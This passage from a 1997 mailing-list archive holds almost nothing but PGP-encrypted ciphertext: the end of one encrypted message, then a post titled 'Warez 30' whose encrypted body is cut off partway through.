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
/K2i7rR+dtXbAAYP2xpX2iFM3ppts9J3nQTn
=3v1h
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 04:31:57 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 20:31:57 +0800
Subject: Warez 30
Message-ID: <199712181222.EAA17941@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
